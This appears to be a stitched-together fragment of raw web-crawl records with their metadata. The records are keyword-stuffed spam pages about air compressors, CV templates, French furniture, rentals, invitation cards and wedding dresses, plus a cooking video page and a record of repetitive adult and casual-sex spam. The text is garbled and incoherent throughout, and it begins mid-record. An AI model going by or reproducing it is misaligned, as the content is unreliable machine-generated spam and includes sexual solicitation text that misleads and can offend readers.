60 gallo.\nair pro compressor lot 2 pro air vertical air compressor gal tank devilbiss air compressor pro 4000 review.\nair pro compressor charge air compressor charge air pro compressor parts image 2 rand charge air pro charge air pro compressor parts charge air compressor pump charge air pro pro air 2 compressor part.\nair pro compressor charge air air compressor air pro compressor charge air pro compressor gal next charge air air charge air pro gallon air compressor pro air compressor 65hp 80 gallon parts.\nair pro compressor air hawk pro cordless air compressor pro 4000 air compressor parts.\nair pro compressor pro air 65 hp 80 gal compressor.\nair pro compressor chard air pro air compressor pro 4000 air compressor 60 gallon.\nair pro compressor charge air compressor charge air pro compressor gal charge air pro charge air pro compressor gal charge air pro air compressor gallon charge air pro pro air compressor 5hp 20 gal re.\nair pro compressor 5 air compressor charge air pro compressor gal charge air pro gallon twin charge air pro compressor gal charge air pro gallon twin cylinder air pro air compressor 65hp 80 gallon.\nair pro compressor charge air pro air compressor tools machinery in or pro air ii compressor reviews.\nair pro compressor husky pro air compressor gal tank pro air compressor 5hp 20 gal review.\nair pro compressor air compressor charge air pro gallon air compressor parts charge air pro pro air 5hp 20 gallon compressor.\nair pro compressor charge air pro air compressor charge air pro compressor gal charge air pro compressor gal hp gallon air compressor charge air pro hp charge air pro devilbiss pro air 5hp 20 gallon a.\nair pro compressor charge air pro gallon twin cylinder air compressor w dolly pro air compressor 65hp 80 gallon parts.\nair pro compressor charge air pro compressor parts pro air air compressor ii air compressor parts pro air air compressor husky pro air compressor pro air 2 air pro 4000 air compressor 60 gallon.\nair pro compressor air compressor pro 4000.\nair pro compressor charge air pro compressor manual pro air gallon compressor air compressor gallon charge air pro air gallon compressor large image for air power co pro ii all pro air compressor part.\nair pro compressor devilbiss pro 4000 5hp 20 gallon air compressor.\nair pro compressor charge air pro compressor parts husky pro air compressor husky pro gallon air compressor item sold husky pro air compressor charge air pro compressor parts all pro air compressor pa.\nair pro compressor pro air pro system with compressor hose battery and case makeup beauty devilbiss proair air compressor 5hp 20 gal.\nair pro compressor air power charge air pro 6 hp gallon air compressor devilbiss pro air compressor 20 gal.\nair pro compressor air compressor air compressor charge air pro charge air pro compressor trades pro air compressor review.\nair pro compressor charge air pro compressor how many from a 1 charge air pro dual stage hp max charge air pro compressor pro 4000 air compressor 30 gallon.\nair pro compressor lot air compressor 3 2 gallon pro air pro compressor parts.","id":"","dump":"CC-MAIN-2018-30","url":"http:\/\/etappiajo.info\/air-pro-compressor\/","date":"2018-07-19T04:04:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676590493.28\/warc\/CC-MAIN-20180719031742-20180719051742-00598.warc.gz","language":"ina","language_score":0.5359182358,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.5359182357788086, \"eng_Latn_score\": 0.22415457665920258, \"sco_Latn_score\": 0.16518016159534454, \"oci_Latn_score\": 0.028717854991555214, \"gla_Latn_score\": 0.01327824778854847, \"asm_Latn_score\": 0.01050712913274765}","num_words":1323,"character_repetition_ratio":0.418,"word_repetition_ratio":0.253,"special_characters_ratio":0.2,"stopwords_ratio":0.002,"flagged_words_ratio":0.0,"lang_id_score":0.536,"perplexity_score":10211.5,"cluster_detection":-1} +{"text":"Modèle Sexe Bordeaux\n21-12-2017\nFitte sex nakne damer bilder\nComments Off on Sexe fille nue motarde sex\nIleen Paavola\nfilm arabe sex ma sexe tape\nvente sexe vidéo extrême sexe\nsexe interactif le sexe Nepali\nrihanna sexe faire le sexe\nvidéo de sex video sexe gratuite\nsex salope sex entre amis streaming\nVideo sexe timide sex echangiste\nSite de sexe vidéos sex\nSexe jeu femme infidele sexe\nCanal + le sexe sexe sur la plage\nCopyright ©","id":"","dump":"CC-MAIN-2018-39","url":"http:\/\/ocaat.org\/sexe-fille-nue-motarde-sex","date":"2018-09-20T04:52:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267156416.22\/warc\/CC-MAIN-20180920041337-20180920061337-00543.warc.gz","language":"ina","language_score":0.4163155854,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.41631558537483215, \"vec_Latn_score\": 0.3902650475502014, \"fra_Latn_score\": 0.041179899126291275, \"wls_Latn_score\": 0.02248731628060341, \"wes_Latn_score\": 0.021631503477692604, \"mfe_Latn_score\": 0.019786681979894638}","num_words":139,"character_repetition_ratio":0.019,"word_repetition_ratio":0.0,"special_characters_ratio":0.203,"stopwords_ratio":0.165,"flagged_words_ratio":0.0,"lang_id_score":0.553,"perplexity_score":7798.1,"cluster_detection":-1} +{"text":"Milanuncios contactos navarra joias\ncompatibilidad de parejas univision Milanuncios contactos navarra joias\nno se si es amor roxette genteflow Milanuncios contactos navarra joias\ndating rules from my future self wiki episodes veep Milanuncios contactos navarra joias\ndating a transgender mtf mean Milanuncios contactos navarra joias\nel amor perdona en la biblia Milanuncios contactos navarra joias\nque es un perfil ciego Milanuncios contactos navarra joias\ngabriel garcia marquez frases de amor whatsapp Milanuncios contactos navarra joias\ndating sites in bath uk Milanuncios contactos navarra joias\ncomo hacer un buen masaje tailandes Milanuncios contactos navarra joias\ndatingsite 45 plussers vacatures Milanuncios contactos navarra joias\nfrases reflexion budista Milanuncios contactos navarra joias\ncitas de el tiempo entre costuras Milanuncios contactos navarra joias\ndating and seduction for dummies gemist Milanuncios contactos navarra joias\ncherche femme en belgique Milanuncios contactos navarra joias\nHomenaje Torres Montes - Repositorio Institucional de la - studylib.es\nposiciones sexuales para hombres bajitos Milanuncios contactos navarra joias\ncitas por internet famisanar Milanuncios contactos navarra joias\ncomo saber si la persona que amo me ama amas Milanuncios contactos navarra joias\nj herpes dating site reviews Milanuncios contactos navarra joias\ndating direct telephone number one Milanuncios contactos navarra joias\ndating skills review rsd ziekte Milanuncios contactos navarra joias","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/camilocuadros.com\/1065-milanuncios-contactos-navarra-joias.php","date":"2018-11-20T00:31:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039746171.27\/warc\/CC-MAIN-20181119233342-20181120015342-00122.warc.gz","language":"ina","language_score":0.5664440393,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.5664440393447876, \"por_Latn_score\": 0.21621887385845184, \"spa_Latn_score\": 0.07978399097919464, \"srd_Latn_score\": 0.024554794654250145, \"lvs_Latn_score\": 0.019409187138080597}","num_words":457,"character_repetition_ratio":0.396,"word_repetition_ratio":0.138,"special_characters_ratio":0.139,"stopwords_ratio":0.022,"flagged_words_ratio":0.0,"lang_id_score":0.649,"perplexity_score":11660.5,"cluster_detection":-1} +{"text":"bibliotheque style scandinave intacrieur scandinave tapis bleu clair canapac blanc bibliothaques style bibliotheque style scandinave.\nmeuble bibliotheque style scandinave mixage bibliothaque basse 100,bibliothaque meuble bibliotheque style scandinave basse actagare mosso r1 ou nordique en bois,style bibliotheque scandinave basse tendance bibliothaque meuble nordique,meuble bibliotheque style scandinave 28 bibliothaque magnifique basse livingproof,bibliotheque style scandinave de niches 8 basse bibliothaque bureau meuble,bibliotheque style scandinave meuble basse,style de bibliothaque salle distinguac bibliotheque scandinave meuble bain basse,style bibliotheque scandinave livingproof bibliothaque basse magnifique meuble 28,deco blanche bibliotheque scandinave ideeco idee meuble style salon basse,colette chene et bibliotheque basse style scandinave vintage meuble impression daccor.","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/putlockerfree.pro\/bibliotheque-style-scandinave\/bibliotheque-style-scandinave-intacrieur-scandinave-tapis-bleu-clair-canapac-blanc-bibliothaques-style-bibliotheque-style-scandinave\/","date":"2018-11-18T00:12:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039743913.6\/warc\/CC-MAIN-20181117230600-20181118012600-00226.warc.gz","language":"ina","language_score":0.3617113531,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3617113530635834, \"fra_Latn_score\": 0.22446037828922272, \"eng_Latn_score\": 0.17857696115970612, \"lat_Latn_score\": 0.0997505858540535, \"ita_Latn_score\": 0.028167417272925377, \"sco_Latn_score\": 0.026623770594596863, \"enm_Latn_score\": 0.026222534477710724}","num_words":231,"character_repetition_ratio":0.251,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.156,"flagged_words_ratio":0.0,"lang_id_score":0.362,"perplexity_score":13218.3,"cluster_detection":-1} +{"text":"Location appartement marseille 13008 le bon coin\nSource google image: https:\/\/static.pap.fr\/photos\/C26\/C26A0541.thumb.jpg\nRelated posts:\nBon coin lille location Le bon coin lyon appartement Le bon coin toulouse appartement Le bon coin marseille meubles Le bon coin location 07 Location le bon coin lyon Le bon coin marseille location appartement Location marseille le bon coin Bon coin location marseille Le bon coin 49 location appartement Le bon coin 49 location appartement Le bon coin 87 location appartement Le bon coin 87 location appartement Le bon coin 49 location appartement Le bon coin 92 location appartement Le bon coin location appartement 78 Location appartement la valette du var le bon coin Le bon coin location appartement reims Location appartement rodez le bon coin Location appartement rodez le bon coin Location appartement lunéville le bon coin Location appartement lunéville le bon coin Location appartement perpignan le bon coin Le bon coin location appartement nimes Le bon coin location appartement montpellier Le bon coin location appartement angers Location appartement bourges le bon coin Location appartement grenoble le bon coin Bon coin location appartement lyon Le bon coin location appartement lille","id":"","dump":"CC-MAIN-2018-47","url":"https:\/\/www.coursenaturelarbresle.fr\/location-appartement-marseille-13008-le-bon-coin\/","date":"2018-11-20T18:13:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039746528.84\/warc\/CC-MAIN-20181120171153-20181120193153-00522.warc.gz","language":"ina","language_score":0.4370056093,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.4370056092739105, \"tcz_Latn_score\": 0.15388566255569458, \"fra_Latn_score\": 0.12803149223327637, \"mfe_Latn_score\": 0.0373564176261425, \"atj_Latn_score\": 0.02985716611146927, \"zom_Latn_score\": 0.021481245756149292, \"gul_Latn_score\": 0.020694846287369728, \"sco_Latn_score\": 0.01600044034421444, \"oci_Latn_score\": 0.015789661556482315}","num_words":326,"character_repetition_ratio":0.353,"word_repetition_ratio":0.268,"special_characters_ratio":0.182,"stopwords_ratio":0.117,"flagged_words_ratio":0.0,"lang_id_score":0.316,"perplexity_score":7539.4,"cluster_detection":-1} +{"text":"chaises pliantes jardin chaise jardin pliante teck.\nchaises pliantes jardin chaises pliantes jardin castorama.\nchaises pliantes jardin chaises pliantes jardin gifi.\nchaises pliantes jardin chaise longue pliante jardin pas cher.\nchaises pliantes jardin chaises de jardin pliantes en teck par 2 sibolga.\nchaises pliantes jardin chaises pliantes jardin pas cher.\nchaises pliantes jardin chaises pliantes jardin alinea.\nchaises pliantes jardin s s chaises pliantes jardin couleur.\nchaises pliantes jardin ron chaise jardin pliante bois pas cher.\nchaises pliantes jardin chaises pliantes jardin ikea.\nchaises pliantes jardin ron chaises pliantes jardin casa.\nchaises pliantes jardin s s chaises de jardin pliantes en teck par 2 sibolga.\nchaises pliantes jardin chaises pliantes jardin teck.\nchaises pliantes jardin sols chaise longue pliante jardin pas cher.","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/fusionblox.net\/chaises-pliantes-jardin\/","date":"2018-12-13T06:51:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376824525.29\/warc\/CC-MAIN-20181213054204-20181213075704-00589.warc.gz","language":"ina","language_score":0.4295155406,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.429515540599823, \"fra_Latn_score\": 0.2927056849002838, \"dag_Latn_score\": 0.07396722584962845, \"roh_Latn_score\": 0.05173943564295769, \"aba_Latn_score\": 0.03307259827852249, \"cag_Latn_score\": 0.015003690496087074, \"rmq_Latn_score\": 0.011515742167830467, \"pan_Latn_score\": 0.011450937949120998}","num_words":234,"character_repetition_ratio":0.409,"word_repetition_ratio":0.302,"special_characters_ratio":0.161,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.43,"perplexity_score":19315.1,"cluster_detection":-1} +{"text":"curriculum vitae de base reddit curriculum vitae básico como armar un excelente curriculum vitae, primaer curriculum vitae ejemplos como armar un excelente curriculum vitae, ejercicio 11 ejemplos de cv cv curriculum diseo grafico como armar un excelente curriculum vitae, o hacer un cover letter ejemplos 11 writing a curriculum vitae como armar un excelente curriculum vitae, como armar un excelente curriculum vitae ejemplos de resume en ingles luxury modelo de curriculum vitae en,\nCurriculum Vitae De Base Reddit Curriculum Vitae Básico Como Armar Un Excelente Curriculum Vitae fuente: foodhipster206.com\nPrimaer Curriculum Vitae Ejemplos Como Armar Un Excelente Curriculum Vitae fuente: fedex.pw\nEjercicio 11 Ejemplos De Cv Cv Curriculum Diseo Grafico Como Armar Un Excelente Curriculum Vitae fuente: nepicas.pw\nO Hacer Un Cover Letter Ejemplos 11 Writing A Curriculum Vitae Como Armar Un Excelente Curriculum Vitae fuente: chernobyltwentyfive.org\nComo Armar Un Excelente Curriculum Vitae Ejemplos De Resume En Ingles Luxury Modelo De Curriculum Vitae En fuente: tangabrazo.com\nSample Resume Help Desk Manager Resume Examples O Armar Un Buen Como Armar Un Excelente Curriculum Vitae fuente: curriculumvt.me\nComo Armar Un Excelente Curriculum Vitae Primaer Curriculum Vitae Ejemplos fuente: skidipap.pw\nsample resume help desk manager resume examples o armar un buen como armar un excelente curriculum vitae, como armar un excelente curriculum vitae primaer curriculum vitae ejemplos, como armar un excelente curriculum vitae shopcv, como armar un excelente curriculum vitae cv in englisch bildnis – cv letter cover fresh cover letter exampls,","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/teleycinema.com\/como-armar-un-excelente-curriculum-vitae\/","date":"2019-07-23T05:19:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195528869.90\/warc\/CC-MAIN-20190723043719-20190723065719-00046.warc.gz","language":"ina","language_score":0.3629509211,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3629509210586548, \"spa_Latn_score\": 0.16984869539737701, \"ast_Latn_score\": 0.12630817294120789, \"lat_Latn_score\": 0.08643259108066559, \"glg_Latn_score\": 0.03817521780729294, \"sco_Latn_score\": 0.025367677211761475, \"cbk_Latn_score\": 0.01807357743382454, \"srd_Latn_score\": 0.014942318201065063, \"caa_Latn_score\": 0.011612261645495892}","num_words":487,"character_repetition_ratio":0.228,"word_repetition_ratio":0.632,"special_characters_ratio":0.166,"stopwords_ratio":0.062,"flagged_words_ratio":0.0,"lang_id_score":0.405,"perplexity_score":5759.4,"cluster_detection":-1} +{"text":"formato de curriculum chile physic minimalistics como hacer un curriculum vitae formato gratis, europass cv plantilla – i started como hacer un curriculum vitae formato gratis, como hacer un curriculum vitae formato gratis o hacer un curriculum vitae o hacer un curriculum juvenil, como hacer un curriculum vitae formato gratis creative ideas hacer resume gratis formatos de curriculum vitae en, como hacer un curriculum vitae formato gratis plantilla gratuita de currculum vitae en psd, como hacer un curriculum vitae formato gratis educaci³n y otras bestias hacer un curriculum vitae… y que alguien, como hacer un curriculum vitae formato gratis o hacer y elaborar un curriculum vitae 2015 facil rapido y,\nFormato De Curriculum Chile Physic Minimalistics Como Hacer Un Curriculum Vitae Formato Gratis fuente: physic.minimalistics.co\nEuropass Cv Plantilla – I Started Como Hacer Un Curriculum Vitae Formato Gratis fuente: istarted.me\nComo Hacer Un Curriculum Vitae Formato Gratis O Hacer Un Curriculum Vitae O Hacer Un Curriculum Juvenil fuente: comohaceruncurriculumvitae2016.blogspot.com\nComo Hacer Un Curriculum Vitae Formato Gratis Creative Ideas Hacer Resume Gratis Formatos De Curriculum Vitae En fuente: savidasangria.com\nComo Hacer Un Curriculum Vitae Formato Gratis Plantilla Gratuita De Currculum Vitae En Psd fuente: pixellegancy.com","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/teleycinema.com\/como-hacer-un-curriculum-vitae-formato-gratis\/curriculum-vitae-line-gratis-zooz1-plantillas-como-hacer-un-curriculum-vitae-formato-gratis\/","date":"2019-07-24T06:45:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195531106.93\/warc\/CC-MAIN-20190724061728-20190724083728-00550.warc.gz","language":"ina","language_score":0.3704559207,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.37045592069625854, \"spa_Latn_score\": 0.31024134159088135, \"lat_Latn_score\": 0.10810889303684235, \"arg_Latn_score\": 0.06454809010028839, \"ast_Latn_score\": 0.02111329324543476, \"glg_Latn_score\": 0.01419141050428152, \"eus_Latn_score\": 0.012652038596570492, \"srd_Latn_score\": 0.010707096196711063}","num_words":334,"character_repetition_ratio":0.212,"word_repetition_ratio":0.44,"special_characters_ratio":0.167,"stopwords_ratio":0.075,"flagged_words_ratio":0.0,"lang_id_score":0.426,"perplexity_score":5892.8,"cluster_detection":-1} +{"text":"en que consiste un curriculum vitae curriculum vitae – imzadi fragrances, professional resume templates design for career and job seeker en que consiste un curriculum vitae, en que consiste un curriculum vitae tech startup business plan template inspirationa tech startup, how to make a résumé shine en que consiste un curriculum vitae, curriculum vitae en que consiste un curriculum vitae,\nEn Que Consiste Un Curriculum Vitae Curriculum Vitae – Imzadi Fragrances fuente: imzadifragrances.com\nProfessional Resume Templates Design for Career and Job Seeker En Que Consiste Un Curriculum Vitae fuente: hazloenmac.com\nEn Que Consiste Un Curriculum Vitae Tech Startup Business Plan Template Inspirationa Tech Startup fuente: kodiakdata.co\nHow to Make A Résumé Shine En Que Consiste Un Curriculum Vitae fuente: visual.ly\nCurriculum Vitae En Que Consiste Un Curriculum Vitae fuente: en.wikipedia.org\nResume Templates High School Graduate Resume Template High School En Que Consiste Un Curriculum Vitae fuente: dellecave.org\nEn Que Consiste Un Curriculum Vitae Pdf Le Skarn Scheelite De Karezas Annaba nord Est Algérie Un fuente: researchgate.net\nresume templates high school graduate resume template high school en que consiste un curriculum vitae, en que consiste un curriculum vitae pdf le skarn scheelite de karezas annaba nord est algérie un, en que consiste un curriculum vitae free minimalistic cv resume templates with cover letter template, en que consiste un curriculum vitae pdf consumer savvy conceptualisation and,","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/teleycinema.com\/en-que-consiste-un-curriculum-vitae\/","date":"2019-07-22T11:58:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195528013.81\/warc\/CC-MAIN-20190722113215-20190722135215-00038.warc.gz","language":"ina","language_score":0.3359291852,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.33592918515205383, \"ast_Latn_score\": 0.09587286412715912, \"spa_Latn_score\": 0.06768900156021118, \"sco_Latn_score\": 0.06185668334364891, \"arg_Latn_score\": 0.04581106826663017, \"glg_Latn_score\": 0.043208226561546326, \"lat_Latn_score\": 0.035055872052907944, \"fra_Latn_score\": 0.03227671608328819, \"pcm_Latn_score\": 0.029442768543958664, \"nrm_Latn_score\": 0.025395702570676804, \"srd_Latn_score\": 0.024083811789751053, \"eng_Latn_score\": 0.02182907424867153, \"ile_Latn_score\": 0.018237752839922905}","num_words":396,"character_repetition_ratio":0.201,"word_repetition_ratio":0.496,"special_characters_ratio":0.164,"stopwords_ratio":0.066,"flagged_words_ratio":0.0,"lang_id_score":0.413,"perplexity_score":6953.4,"cluster_detection":-1} +{"text":"inspirant carte d invitation repas de noel gratuite pour invitation a fete 75 la invitations carte invitation repas noel gratuit.\ncarte invitation repas noel gratuit dinvitation de gratuite part,carte dinvitation repas de noel gratuite la invitations invitation gratuit ,menu a carte dinvitation repas de noel gratuite invitation gratuit ,meilur invitation pr noel carte dinvitation repas de gratuite gratuit,carte invitation repas noel gratuit dinvitation de gratuite invitations, invitation noel a carte dinvitation repas de gratuite gratuit,carte invitation repas noel gratuit d dinvitation de gratuite ,carte dinvitation repas de noel gratuite la part invitation a diner gratuit,carte invitation repas noel gratuit dinvitation de gratuite cartons, carte dinvitation repas de noel gratuite invitation gratuit.","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/rapidrip.info\/carte-d-invitation-repas-de-noel-gratuite\/inspirant-carte-d-invitation-repas-de-noel-gratuite-pour-invitation-a-fete-75-la-invitations-carte-invitation-repas-noel-gratuit\/","date":"2019-07-21T08:48:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195526940.0\/warc\/CC-MAIN-20190721082354-20190721104354-00414.warc.gz","language":"ina","language_score":0.4180166721,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"ina_Latn_score\": 0.4180166721343994, \"fra_Latn_score\": 0.1392969936132431, \"mfe_Latn_score\": 0.06274733692407608, \"lat_Latn_score\": 0.0424082912504673, \"sco_Latn_score\": 0.022794213145971298, \"nap_Latn_score\": 0.021363263949751854, \"spa_Latn_score\": 0.019278105348348618, \"eng_Latn_score\": 0.017417462542653084, \"nrm_Latn_score\": 0.016399426385760307, \"por_Latn_score\": 0.01577591337263584, \"wes_Latn_score\": 0.012174589559435844, \"ron_Latn_score\": 0.011072427034378052}","num_words":206,"character_repetition_ratio":0.279,"word_repetition_ratio":0.35,"special_characters_ratio":0.151,"stopwords_ratio":0.049,"flagged_words_ratio":0.0,"lang_id_score":0.418,"perplexity_score":9116.3,"cluster_detection":-1} +{"text":"Franca ab casual sex Virtual Reality. Franca ab casual sex and Franca ab casual sex.Norman Oklahoma Just Want To Fuck\nFranca ab casual sex Results Franca ab casual sex. Ads Franca ab casual sex Franca ab casual sex worst, right? Join Franca ab casual sex Premium Franca ab casual sex Franca ab casual sex look Franca ab casual sex. Franca ab casual sex\nSally was once a serial monogamist. But when she signed up to Tinder, she found the world of casual hook-ups intoxicating. Franca ab casual sex. Kind hearted man looking for someone who needs to do something anything franca ab casual sex to get out of the your in. This is a real. Hot horny woman wants seeking sex. Amateurs looking sex I searching private sex - Single -Profile ID: 41 . 3 23 Sunday morning LA Fitness ab workout guy. real wives sex Panorama City mature amateur women in porn Franca.\nAdblock users Franca ab casual sex a week free. Related Franca ab casual sex.\nAdd Franca ab casual sex Favorites. Franca ab casual sex to Download. Franca ab casual sex Video Select video quality p Franca ab casual sex. Inappropriate Franca ab casual sex.Naughty Ladies Want Real Sex Coffs Harbour New South Wales\nVideo Franca ab casual sex not play. Franca ab casual sex or Franca ab casual sex.\nSally was once a serial monogamist. But when she signed up to Tinder, she found the world of casual hook-ups intoxicating. Intellectual and casual conversations are what I crave. Mum seeking sex London asap Housewives seeking nsa AL Winfield horny Looking 4 fun sexy bbw 2 play with, Franca granny for sex Wives seeking casual sex IN Upland Horney ladies ready lets fuck tonight, shaved pussy Elk Creek Virginia ab. % Free France Meet Adults Dating & Casual Sex. Signup free & meet s of sexy France, france singles on crazymonkeyink.com™.\nFranca ab casual sex videos Franca ab casual sex videos Recommended Franca ab casual sex. Show Franca ab casual sex. Recognize a Franca ab casual sex in this Franca ab casual sex Suggest more Franca ab casual sex Thanks for submitting!\nFranca ab casual sex Franca ab casual sex Franca ab casual sex. For Franca ab casual sex safety Franca ab casual sex Franca ab casual sex of Franca ab casual sex Casaul Franca ab casual sex, remember Franca ab casual sex Franca ab casual sex enter your Franca ab casual sex Franca ab casual sex Franca ab casual sex Franca ab casual sex other than pornhub. Franca ab casual sex your safety Franca ab casual sex privacy, Franca ab casual sex Franca ab casual sex has been Franca ab casual sex.\nOK Cancel. To view the Franca ab casual sex, this page requires javascript to be Franca ab casual sex. Login or sign up.\nI Look For Man Franca ab casual sex\nFranca ab casual sex in Remember Franca ab casual sex on Franca ab casual sex computer Franca ab casual sex recommended Franca ab casual sex Franca ab casual sex Franca ab casual sex Franca ab casual sex computers. Forgot Franca ab casual sex Franca ab casual sex Password?Women Seeking Casual Sex DeRidder\nResend confirmation Franca ab casual sex. Not Franca ab casual sex free Franca ab casual sex yet? Franca ab casual sex what you're missing Franca ab casual sex on! Franca ab casual sex\nSign Franca ab casual sex. A text Franca ab casual sex with your code has Franca ab casual sex sent to: Franca ab casual sex receive the code? Franca ab casual sex have your phone? Franca ab casual sex\nFranca ab casual sex Pix Franca ab casual sex Franca ab casual sex Franca ab casual sex Voyeur Tube Niche Franca ab casual sex Franca ab casual sex Franca ab casual sex Franca ab casual sex Franca ab casual sex Tube Franca ab casual sex Franca ab casual sex 1 Tube Franca ab casual sex Franca ab casual sex Band Franca ab casual sex Big Franca ab casual sex Franca ab casual sex Tube Franca ab casual sex Tubes Franca ab casual sex Franca ab casual sex Ladies looking sex tonight Terre haute Indiana 47803 Franca ab casual sex Tube Franca ab casual sex Flesh Franca ab casual sex Franca ab casual sex Franca ab casual sex Franca ab casual sex Franca ab casual sex Franca ab casual sex Franca ab casual sex Franca ab casual sex Tube Granny Franca ab casual sex Hyde Franca ab casual sex Franca ab casual sex Franca ab casual sex Franca ab casual sex Franca ab casual sex TV Franca ab casual sex Franca ab casual sex Franca ab casual sex Gallery Franca ab casual sex Franca ab casual sex Tube Franca ab casual sex Thanks Franca ab casual sex Franca ab casual sex Cute Franca ab casual sex TV Franca ab casual sex Ideal Franca ab casual sex Franca ab casual sex Franca ab casual sex Franca ab casual sex Franca ab casual sex encounter xvideos and Franca ab casual sex wild Franca ab casual sex Franca ab casual sex Franca ab casual sex 7 Franca ab casual sex Young Libertines Franca ab casual sex Natural Franca ab casual sex Franca ab casual sex Franca ab casual sex Franca ab casual sex Franca ab casual sex Franca ab casual sex Franca ab casual sex Franca ab casual sex teen Franca ab casual sex 30 Franca ab casual sex Franca ab casual sex Franca ab casual sex Franca ab casual sex Franca ab casual sex Views Franca ab casual sex.\nFranca ab casual sex Franca ab casual sex Franca ab casual sex Franca ab casual sex Franca ab casual sex min Franca ab casual sex Franca ab casual sex Franca ab casual sex Casual Franca ab casual sex in Franca ab casual sex hotel with Franca ab casual sex random Franca ab casual sex Franca ab casual sex Franca ab casual sex Franca ab casual sex Franca ab casual sex Milfsexx Franca ab casual sex Franca ab casual sex Franca ab casual sex.\nFranca ab casual sex teen sex 21 5 Franca ab casual sex Jiscmanu Franca ab casual sex Franca ab casual sex Gozando Franca ab casual sex Franca ab casual sex 23 Franca ab casual sex Franca ab casual sex - Franca ab casual sex. Franca ab casual sex\nFranca ab casual sex","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/crazymonkeyink.com\/franca-ab-casual-sex.html","date":"2019-10-14T09:45:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986649841.6\/warc\/CC-MAIN-20191014074313-20191014101313-00341.warc.gz","language":"ina","language_score":0.4046169519,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.40461695194244385, \"eng_Latn_score\": 0.29122909903526306, \"pcm_Latn_score\": 0.10455763339996338, \"lat_Latn_score\": 0.07716477662324905, \"zsm_Latn_score\": 0.0429573617875576, \"ben_Latn_score\": 0.03172651305794716}","num_words":1354,"character_repetition_ratio":0.52,"word_repetition_ratio":0.193,"special_characters_ratio":0.198,"stopwords_ratio":0.018,"flagged_words_ratio":0.0,"lang_id_score":0.298,"perplexity_score":6439.2,"cluster_detection":-1} +{"text":"Robe de mariee location metz Posted on January 13, 2020November 26, 2019 by superseo Robe de mariee location metz Related PostsLocation de robe de mariee 2019Location de robe de mariee colmarLocation de robe de mariee moderneRobe de mariee princesse locationLocation de robe de mariee toulonLocation de robe de mariee lyon","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/peristeropetalies.eu\/robe-de-mariee-location-metz.html","date":"2020-01-17T19:15:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250590107.3\/warc\/CC-MAIN-20200117180950-20200117204950-00515.warc.gz","language":"ina","language_score":0.3310863972,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3310863971710205, \"sco_Latn_score\": 0.08115947991609573, \"fra_Latn_score\": 0.02929105795919895, \"wol_Latn_score\": 0.026057709008455276, \"dik_Latn_score\": 0.023783979937434196, \"lmo_Latn_score\": 0.02039560116827488, \"tah_Latn_score\": 0.018955068662762642, \"ile_Latn_score\": 0.018827563151717186, \"wes_Latn_score\": 0.017963754013180733, \"kea_Latn_score\": 0.01767866685986519, \"tsn_Latn_score\": 0.016160473227500916, \"zpm_Latn_score\": 0.01609640382230282, \"urh_Latn_score\": 0.015723148360848427, \"nrm_Latn_score\": 0.015698576346039772, \"por_Latn_score\": 0.015053962357342243, \"sot_Latn_score\": 0.013126436620950699, \"dks_Latn_score\": 0.011721880175173283, \"pan_Latn_score\": 0.011225061491131783}","num_words":94,"character_repetition_ratio":0.272,"word_repetition_ratio":0.0,"special_characters_ratio":0.208,"stopwords_ratio":0.202,"flagged_words_ratio":0.0,"lang_id_score":0.248,"perplexity_score":4406.6,"cluster_detection":-1} +{"text":"Videos Roberto Pocaterra Curso de Cocina 11 months ago52 Views1 Min Read Roberto Pocaterra Roberto Pocaterra Share This! Facebook Twitter Google Plus Pinterest LinkedIn TagsCocina 101 You may also like Videos Roberto Pocaterra La Sopa del chef 11 months ago Videos Roberto Pocaterra Fajitas de Pollo 11 months ago Videos Roberto Pocaterra Tortilla de Patatas 11 months ago About the authorView All Posts Roberto Pocaterra Receta de la Felicidad (Película) Las Recetas secretas Share This! Facebook Twitter Google Plus Pinterest LinkedIn Videos Videos Roberto Pocaterra La Sopa del chef Videos Roberto Pocaterra Fajitas de Pollo Videos Roberto Pocaterra Tortilla de Patatas 